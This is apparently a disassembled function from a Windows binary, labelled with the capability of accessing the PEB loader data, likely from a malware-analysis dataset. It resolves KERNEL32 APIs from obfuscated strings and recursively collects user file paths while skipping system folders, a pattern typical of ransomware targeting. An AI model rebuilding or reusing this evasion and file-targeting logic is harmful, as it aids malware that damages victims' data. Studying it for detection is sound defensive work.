Function at 0x4013a0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x45c
lea eax, [esp + 0x24c]
push ebx
push esi
push edi
mov ebx, ecx
push ebx
push str._s
push eax
call fcn.00401040
mov eax, dword fs:[0x30]
add esp, 0xc
mov edi, dword [eax + 0xc]
add edi, 0x14
mov esi, dword [edi]
cmp esi, edi
je 0x401417
nop dword [eax]
mov eax, dword [esi + 0x28]
mov ecx, str.KERNEL32.DLL
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401408
test dl, dl
je 0x401404
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401408
add eax, 2
add ecx, 2
test dl, dl
jne 0x4013e8
xor eax, eax
jmp 0x40140d
sbb eax, eax
or eax, 1
test eax, eax
je 0x401470
mov esi, dword [esi]
cmp esi, edi
jne 0x4013e0
xor esi, esi
mov ecx, str.FQgaETQNEwpYZiYPES4
call fcn.004010b0
mov edx, eax
mov ecx, esi
call fcn.004012c0
mov dword [0x42144c], eax
mov eax, dword fs:[0x30]
mov edi, dword [eax + 0xc]
add edi, 0x14
mov esi, dword [edi]
cmp esi, edi
je 0x401484
mov eax, dword [esi + 0x28]
mov ecx, str.KERNEL32.DLL
nop dword [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401475
test dl, dl
je 0x40146c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401475
add eax, 2
add ecx, 2
test dl, dl
jne 0x401450
xor eax, eax
jmp 0x40147a
mov esi, dword [esi + 0x10]
jmp 0x401419
sbb eax, eax
or eax, 1
test eax, eax
je 0x4014d8
mov esi, dword [esi]
cmp esi, edi
jne 0x401443
xor esi, esi
mov ecx, str.FQgaETwBGQ1qSSMGNQ
call fcn.004010b0
mov edx, eax
mov ecx, esi
call fcn.004012c0
mov dword [0x42145c], eax
mov eax, dword fs:[0x30]
mov edi, dword [eax + 0xc]
add edi, 0x14
mov esi, dword [edi]
cmp esi, edi
je 0x4014ec
mov eax, dword [esi + 0x28]
mov ecx, str.KERNEL32.DLL
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4014dd
test dl, dl
je 0x4014d4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4014dd
add eax, 2
add ecx, 2
test dl, dl
jne 0x4014b8
xor eax, eax
jmp 0x4014e2
mov esi, dword [esi + 0x10]
jmp 0x401486
sbb eax, eax
or eax, 1
test eax, eax
je 0x401564
mov esi, dword [esi]
cmp esi, edi
jne 0x4014b0
xor esi, esi
mov ecx, str.FQgaETEIDgpJ
call fcn.004010b0
mov edx, eax
mov ecx, esi
call fcn.004012c0
mov dword [0x421448], eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x25c]
push eax
call dword [0x42144c]
mov edi, eax
mov dword [esp + 0xc], edi
cmp edi, 0xffffffff
je 0x401820
nop dword [eax + eax]
test byte [esp + 0x10], 0x10
lea eax, [esp + 0x3c]
je 0x401729
mov ecx, str.Program_Files__x86_
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401569
test dl, dl
je 0x401560
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401569
add eax, 2
add ecx, 2
test dl, dl
jne 0x401544
xor eax, eax
jmp 0x40156e
mov esi, dword [esi + 0x10]
jmp 0x4014ee
sbb eax, eax
or eax, 1
test eax, eax
je 0x401805
mov ecx, str.ProgramData
lea eax, [esp + 0x3c]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4015a0
test dl, dl
je 0x40159c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4015a0
add eax, 2
add ecx, 2
test dl, dl
jne 0x401580
xor eax, eax
jmp 0x4015a5
sbb eax, eax
or eax, 1
test eax, eax
je 0x401805
mov ecx, str.Windows
lea eax, [esp + 0x3c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4015d6
test dl, dl
je 0x4015d2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4015d6
add eax, 2
add ecx, 2
test dl, dl
jne 0x4015b6
xor eax, eax
jmp 0x4015db
sbb eax, eax
or eax, 1
test eax, eax
je 0x401805
mov ecx, str.Program_Files
lea eax, [esp + 0x3c]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401610
test dl, dl
je 0x40160c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401610
add eax, 2
add ecx, 2
test dl, dl
jne 0x4015f0
xor eax, eax
jmp 0x401615
sbb eax, eax
or eax, 1
test eax, eax
je 0x401805
mov ecx, str.AppData
lea eax, [esp + 0x3c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401646
test dl, dl
je 0x401642
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401646
add eax, 2
add ecx, 2
test dl, dl
jne 0x401626
xor eax, eax
jmp 0x40164b
sbb eax, eax
or eax, 1
test eax, eax
je 0x401805
mov ecx, str.UsersPublic
lea eax, [esp + 0x3c]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401680
test dl, dl
je 0x40167c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401680
add eax, 2
add ecx, 2
test dl, dl
jne 0x401660
xor eax, eax
jmp 0x401685
sbb eax, eax
or eax, 1
test eax, eax
je 0x401805
mov ecx, 0x41dab4
lea eax, [esp + 0x3c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4016b6
test dl, dl
je 0x4016b2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4016b6
add eax, 2
add ecx, 2
test dl, dl
jne 0x401696
xor eax, eax
jmp 0x4016bb
sbb eax, eax
or eax, 1
test eax, eax
je 0x401805
mov ecx, 0x41dab8
lea eax, [esp + 0x3c]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4016f0
test dl, dl
je 0x4016ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4016f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4016d0
xor eax, eax
jmp 0x4016f5
sbb eax, eax
or eax, 1
test eax, eax
je 0x401805
lea eax, [esp + 0x3c]
push eax
push ebx
lea eax, [esp + 0x368]
push str._s_s
push eax
call fcn.00401040
add esp, 0x10
lea ecx, [esp + 0x360]
call fcn.004013a0
jmp 0x401805
push eax
push ebx
lea eax, [esp + 0x158]
push str._s_s
push eax
call fcn.00401040
add esp, 0x10
mov ecx, str.FAQAMxsIBDhYVD0KFhoWAAFh
call fcn.004010b0
mov esi, eax
call fcn.00401260
mov edx, esi
mov ecx, eax
call fcn.004012c0
lea ecx, [esp + 0x150]
mov dword [0x421450], eax
push ecx
call eax
cmp eax, 0xffffffff
je 0x401805
test al, 1
jne 0x401805
mov eax, dword [0x4213a8]
lea eax, [eax*4 + 4]
push eax
push dword [0x4213b0]
call fcn.0040598e
lea ecx, [esp + 0x158]
mov dword [0x4213b0], eax
add esp, 8
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4017a4
sub ecx, edx
lea eax, [ecx + 1]
push eax
call fcn.0040860a
mov esi, dword [0x4213a8]
mov edx, eax
mov eax, dword [0x4213b0]
add esp, 4
xor ecx, ecx
mov dword [eax + esi*4], edx
test esi, esi
jle 0x4017e5
nop
lea edi, [esp + 0x150]
cmp dword [eax + ecx*4], edi
mov edi, dword [esp + 0xc]
je 0x4017fe
inc ecx
cmp ecx, esi
jl 0x4017d0
lea ecx, [esp + 0x150]
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx], al
lea edx, [edx + 1]
test al, al
jne 0x4017f0
inc esi
mov dword [0x4213a8], esi
lea eax, [esp + 0x10]
push eax
push edi
call dword [0x42145c]
test eax, eax
jne 0x401530
push edi
call dword [0x421448]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret